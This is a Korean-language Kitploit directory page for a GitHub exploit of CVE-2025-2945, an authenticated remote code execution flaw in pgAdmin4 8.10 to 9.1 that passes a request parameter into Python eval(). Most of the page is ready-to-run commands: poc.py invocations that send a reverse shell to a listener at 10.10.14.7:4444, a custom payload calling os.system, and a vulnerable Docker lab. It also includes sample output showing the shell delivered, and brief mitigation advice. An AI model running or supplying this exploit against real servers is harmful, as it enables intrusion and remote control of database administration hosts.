Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-2945 — pgAdmin4 8.10~9.1 버전에 영향을 주는 원격 코드 실행(RCE) 취약점을 위한 익스플로잇입니다. | Kitploit
도구/GitHubGitHub/g0d150ne/cve-2025-2945
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubg0d150ne/cve-2025-2945

CVE-2025-2945

pgAdmin4 8.10~9.1 버전에 영향을 주는 원격 코드 실행(RCE) 취약점을 위한 익스플로잇입니다.

저장소 보기
41개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-2945 - pgAdmin4 인증 RCE 익스플로잇

작성자: G0D150NE
버전: 2.0.0
CVE: CVE-2025-2945
심각도: 치명적 (CVSS 9.9)

📌 설명

버전 8.10~9.1에 영향을 주는 pgAdmin4 원격 코드 실행(RCE) 취약점에 대한 익스플로잇입니다.

이 취약점은 /sqleditor/query_tool/download 엔드포인트에 존재하며, query_commited 매개변수가 Python의 eval() 함수에 검증 없이 전달되어 임의 코드 실행을 허용합니다.

⚡ 기능

  • ✅ 자동 버전 감지
  • ✅ 여러 소스에서 CSRF 토큰 수집
  • ✅ 서버/그룹 ID 열거
  • ✅ 리버스 셸 페이로드 (base64 인코딩)
  • ✅ 사용자 정의 페이로드 지원
  • ✅ 상세 디버그 모드
  • ✅ 컬러 콘솔 출력
  • ✅ SSL 검증 우회

🚀 설치

root@kitploit:~
# Clone or download the script
git clone https://github.com/g0d150ne/CVE-2025-2945
cd CVE-2025-2945

# Install dependencies
pip install requests

🎯 사용법

기본 사용법

root@kitploit:~
python3 poc.py \
  --target-url http://target:5050 \
  --username [email protected] \
  --password admin123 \
  --db-user postgres \
  --db-pass postgres \
  --db-name postgres \
  --Rhost 10.10.14.7 \
  --Rport 4444

상세 출력과 함께

root@kitploit:~
python3 poc.py \
  --target-url http://target:5050 \
  --username [email protected] \
  --password admin123 \
  --db-user postgres \
  --db-pass postgres \
  --db-name postgres \
  --Rhost 10.10.14.7 \
  --Rport 4444 \
  -v

사용자 정의 페이로드

root@kitploit:~
python3 poc.py \
  --target-url http://target:5050 \
  --username [email protected] \
  --password admin123 \
  --db-user postgres \
  --db-pass postgres \
  --db-name postgres \
  --Rhost 10.10.14.7 \
  --Rport 4444 \
  --custom-payload "__import__('os').system('whoami > /tmp/test.txt')"

버전 확인 건너뛰기

root@kitploit:~
python3 poc.py \
  --target-url http://target:5050 \
  --username [email protected] \
  --password admin123 \
  --db-user postgres \
  --db-pass postgres \
  --db-name postgres \
  --Rhost 10.10.14.7 \
  --Rport 4444 \
  --skip-version-check

📊 인수

📋 요구 사항

· Python 3.6+ · requests 라이브러리

root@kitploit:~
pip install requests

🧪 테스트 환경

root@kitploit:~
# Docker pgAdmin vulnerable version
docker run -d -p 5050:5050 \
  -e [email protected] \
  -e PGADMIN_DEFAULT_PASSWORD=admin123 \
  dpage/pgadmin4:8.10

# Then run the exploit
python3 poc.py \
  --target-url http://localhost:5050 \
  --username [email protected] \
  --password admin123 \
  --db-user postgres \
  --db-pass postgres \
  --db-name postgres \
  --Rhost 10.10.14.7 \
  --Rport 4444

🖥️ 예제 출력

root@kitploit:~
   ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄ 
  ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
  ▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀▀▀ 
  ▐░▌          ▐░▌       ▐░▌▐░▌       ▐░▌▐░▌          ▐░▌          
  ▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄█░▌▐░▌       ▐░▌▐░█▄▄▄▄▄▄▄▄▄ ▐░▌          
  ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌       ▐░▌▐░░░░░░░░░░░▌▐░▌          
   ▀▀▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░▌       ▐░▌ ▀▀▀▀▀▀▀▀▀█░▌▐░▌          
            ▐░▌▐░▌       ▐░▌▐░▌       ▐░▌          ▐░▌▐░▌          
   ▄▄▄▄▄▄▄▄▄█░▌▐░▌       ▐░▌▐░█▄▄▄▄▄▄▄█░▌ ▄▄▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄▄▄ 
  ▐░░░░░░░░░░░▌▐░▌       ▐░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
   ▀▀▀▀▀▀▀▀▀▀▀  ▀         ▀  ▀▀▀▀▀▀▀▀▀▀▀  ▀▀▀▀▀▀▀▀▀▀▀  ▀▀▀▀▀▀▀▀▀▀▀ 
   
   CVE-2025-2945 - pgAdmin4 Authenticated RCE
   Author: G0D150NE
   Version: 2.0.0

[*] Target running vulnerable version 8.10
[*] Authenticating as [email protected]...
[+] Authentication successful
[*] Scanning for valid server (SGID: 7, max: 10)...
[+] Found valid server (SGID: 7, SID: 1)
[*] Initializing SQL editor (trans_id: 4827193)...
[+] SQL editor initialized
[*] Reverse shell payload to 10.10.14.7:4444
[*] Sending payload...
[+] Payload delivered (HTTP 500)
[*] Check listener at your endpoint
[+] Exploit successful!
[*] Check reverse shell on 10.10.14.7:4444

🛡️ 완화 조치

· pgAdmin4를 9.2 이상 버전으로 업그레이드 · pgAdmin 인터페이스에 대한 접근 제한 · 강력한 자격 증명 사용 · 가능하면 MFA 활성화

⚠️ 고지 사항

이 도구는 승인된 보안 테스트 및 교육 목적으로만 사용해야 합니다. 명시적 허가 없이 시스템에 사용하는 것은 불법입니다. 작성자는 어떠한 오용에 대해서도 책임을 지지 않습니다.

🔗 참고 자료

· CVE-2025-2945 · pgAdmin 보안 권고

📄 라이선스

MIT License

도구 다운로드
인수필수설명
--target-url예pgAdmin4의 기본 URL (http://RHOST:PORT/)
--username예pgAdmin4 로그인 이메일
--password예pgAdmin4 로그인 비밀번호
--db-user예데이터베이스 사용자 이름
--db-pass예데이터베이스 비밀번호
--db-name예데이터베이스 이름
--Rhost예리버스 셸용 리스너 IP
--Rport예리버스 셸용 리스너 포트
--max-server-id아니요스캔할 최대 서버 ID (기본값: 10)
--skip-version-check아니요버전 확인 건너뛰기
--custom-payload아니요사용자 정의 Python 페이로드
--verbose, -v아니요디버그 출력 활성화
--no-banner아니요배너 숨기기